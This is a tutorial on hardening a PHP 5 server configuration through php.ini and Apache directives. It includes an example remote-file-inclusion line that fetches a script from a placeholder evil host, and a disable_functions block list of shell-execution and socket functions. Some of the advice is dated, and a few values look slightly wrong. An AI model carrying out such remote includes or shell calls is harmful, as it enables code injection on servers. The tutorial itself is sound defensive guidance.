PHP Security Tips – Securing PHP by hardening PHP configuration
When it comes to security, ignorance is definitely not blissful. There are several methods to increase the security of your PHP environment.
In this article I will discuss how to secure PHP by hardening PHP 5 configuration.
1. allow_url_fopen ( enabled by default )
This directive allows PHP's file functions ( file_get_contents, include and require statements ) to retrieve data from remote locations, like FTP or HTTP.
If an attacker can manipulate the arguments to those functions, they can use a URL under their control as the argument and run their own remote scripts. The vulnerability is called Remote file inclusion or RFI.
; Disable allow_url_fopen in php.ini for security reasons
allow_url_fopen = Off
The setting can also be applied in apache's httpd.conf :
# Disable allow_url_fopen for security reasons
php_admin_flag allow_url_fopen Off
It prevents URLs from being used in PHP. A command like include ("http://www.example.com/evil_script.php") will not be allowed to execute. Only files that reside within your site can be included: include("/var/www/html/config.inc.php").
NOTE: A large number of code injection vulnerabilities reported in PHP web applications are caused by enabling allow_url_fopen and bad input filtering. You should disable this directive for security reasons.
2. allow_url_include ( disabled by default )
If disabled, allow_url_include blocks remote file access via the include and require statements, but leaves it available for other file functions like fopen and file_get_contents.
NOTE: Include and require are the most common attack points for code injection attempts, so this setting plugs that particular hole without affecting the remote file access capabilities of the standard file functions.
; Disable allow_url_include in php.ini for security reasons
allow_url_include = Off
The setting can also be disabled in apache's httpd.conf :
# Disable allow_url_include in php.ini for security reasons
php_admin_flag allow_url_include Off
3. disable_functions
This directive allows you to disable PHP functions. It takes on a comma-delimited list of functions.
disable_functions is not affected by Safe Mode. This directive must be set in php.ini.
; Example of restricted functions: disable_functions "curl_exec,curl_multi_exec,dl,exec,fsockopen,parse_ini_file,passthru,popen,proc_open,proc_close,shell_exec,
show_source,symlink,system"
Functions:
- curl_exec - perform a cURL session
- curl_multi_exec - run the sub-connections of the current cURL handle
- dl - loads a PHP extension at runtime
- exec - execute an external command
- fsockopen - open internet or unix domain socket connection
- parse_ini_file - parse a configuration file
- passthru - execute an external program and display raw output
- popen - opens process file pointer
- proc_open - execute a command and open file pointers for Input/Output
- proc_close - close a process opened by proc_open and return the exit code of that process
- shell_exec - execute command via shell and return the complete output as a string
- show_source - show the source of a file
- symlink - creates a symbolic link
- system - execute an external program and display the output
NOTE: Disabling some functions may affect your web-based applications, it's recommended to recheck your code and find an alternative solution, rather than risking the server security for a bad application.
4. display_errors
The display_errors directive determines whether error messages should be sent to the browser. These messages frequently contain sensitive information about your web application environment and should always be disabled.
; Disable display_errors in php.ini for security reasons
display_errors = Off
log_errors = On
The setting can also be disabled in apache's httpd.conf or .htaccess file:
# Disable display_errors for security reasons
php_flag display_errors Off
php_flag log_errors On
NOTE: display_errors should be disabled and all error messages should be passed to system log files using the log_errors directive.
5. expose_php
When enabled, expose_php reports in every request that PHP is being enabled, and what version of PHP is installed. Malicious users looking for potentially vulnerable targets can use this to identify a weakness. This directive must be set in php.ini. It's recommened to disable expose_php.
; Disable expose_php in php.ini for security reasons
expose_php = Off
6. magic_quotes_gpc ( enabled by default in some Linux distributions )
magic_quotes_gpc provides some rudimentary protection against SQL injection and is a generic solution that doesn't include all the characters that require escaping. It effectively executes addslashes() on all information received over COOKIE, GET and POST. Because it's inconsistent and ineffective, it's recommended to disable magic_quotes_gpc. Rely on input filtering done by your scripts.
; Disable Magic Quotes in php.ini for security reasons
magic_quotes_gpc = Off
# The setting can also be applied in apache's httpd.conf or .htaccess file:
php_flag magic_quotes_gpc Off
NOTE: If the magic_quotes_sybase directive is also On it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NUL's will remain untouched and unescaped.
7. memory_limit
You can protect your applications from certain types of denial of service attacks and also from bugs in applications (infinite loops or other memory intensive mistakes) if you will enable a realistic memory_limit. A setting of 8MB is sufficient but still aggressive enough to catch problems before too much damage is done.
; Lower memory_limit in php.ini for security reasons
memory_limit = 8M
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Lower memory_limit for security reasons
php_value memory_limit 8M
8. open_basedir
open_basedir limits the PHP process from accessing files outside of specifically designated directories.
Set open_basedir to only allow access to required portions of the file system, like your web site's documents and any shared libraries.
; Set open_basedir in php.ini for security reasons
open_basedir = "/var/www/html/:/usr/local/php/"
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Set open_basedir to a safe location
php_admin_value open_basedir /var/www/html/:/usr/local/php/
NOTE: You should always use open_basedir to limit PHP processes in designated directories. Please note that older versions of the curl library shipped with PHP allowed it to bypass the restrictions put in place by open_basedir or safe_mode using a file://URL and you should always use newer PHP.
9. post_max_size
This protection allows you to limit the maximum size POST request that PHP will process. Attackers may attempt to send over sized POST requests to exhaust your server resources.
; Lower post_max_size ini php.ini for security reasons
post_max_size = 256K
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Lower post_max_size for security reasons
php_value post_max_size 256K
10. register_globals
A number of older scripts assume that the data sent by a form will automatically have a PHP variable of the same name.
If your form has an input field with a name of "somename", older PHP scripts assume that the PHP will automatically create a variable called $somename that contains the value set in that field.
; Disable register globals in php.ini for security reasons
register_globals = Off
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Disable register globals for security reasons
php_flag register_globals Off
NOTE: Register Globals should always be disabled.
11. safe_mode
PHP safe mode is a comprehensive "attempt to solve the shared server security problem" that includes many useful features.
In this mode, access to files not owned by Apache is disabled, and access to environment variables and execution of binary programs are also disabled.
To enable safe mode, add the safe mode directive in the php.ini to:
; Enable save_mode in php.ini for security reasons
safe_mode = On
The setting can also be applied in apache's httpd.conf:
# Enable save_mode for security reasons
php_flag safe_mode On
In some cases you'll want to use a group to check ownership (for instance in the case that you have multiple people deploying web application scripts).
To have safe mode check group permissions use:
safe_mode_gid = On
If you want to limit directories that can contain included files or executables use the following php.ini directives respectively:
safe_mode_include_dir = /path/to/dir
safe_mode_exec_dir = /path/to/exec/dir
NOTE: Safe mode support is being removed in PHP 6.
12. save_path
This directive allows you to specify where session files should be saved when using the default session handler. This must be a directory outside the document root and should only be accessible by the web user.
save_path should be unique on a virtual host basis when those virtual hosts are controlled by different entities to prevent sites from reading each others sessions ( shared hosting ).
; Set save_path to a safe location in php.ini for security reasons
session.save_path = /var/www/foo/sessions
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Set save_path to a safe location
php_value session.save_path /var/www/foo/sessions
13. upload_max_filesize
upload_max_filesize limits the maximum size of files that PHP will accept through uploads. Attackers may attempt to send grossly oversized files to exhaust your server resources. Make sure you'll use an acceptable value.
; Lower upload_max_filesize ini php.ini for security reasons
upload_max_filesize = 128KB
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Lower upload_max_filesize for security reasons
php_value upload_max_filesize 128KB
14. upload_tmp_dir
upload_tmp_dir allows you to specify the temporary directory used for storing files. If this directory is within the document root of the web site and/or accessible to system users other than PHP's user, it could be modified or overwritten while PHP is processing it. By default upload_tmp_dir is set to the system's standard temporary directory, which can typically be accessed by all system users.
You should set upload_tmp_dir to a folder that is outside the document root of your website and is not readable or writable by any other system users.
; Set upload_tmp_dir to a safe location
upload_tmp_dir = /var/www/foo/sessions
The setting can also be applied in apache's httpd.conf:
# Set upload_tmp_dir to a safe location
php_value upload_tmp_dir /var/www/foo/sessions
15. use_trans_sid
When use_trans_sid is enabled, PHP will add a unique PHPSESSID query pair to URIs within your site if cookies are not available and session.use_trans_sid is set. This makes it far easier for a malicious party to obtain an active session ID and hijack the session. It's recommended to disable use_trans_sid in your PHP environment.
; Disable use_trans_sid for security reasons
session.use_trans_sid = Off
The setting can also be disabled in apache's httpd.conf or .htaccess file:
# Disable use_trans_sid for security reasons
php_flag session.use_trans_sid Off
The setting can also be applied in apache's httpd.conf or .htaccess file:
# Disable register globals for security reasons
php_flag register_globals Off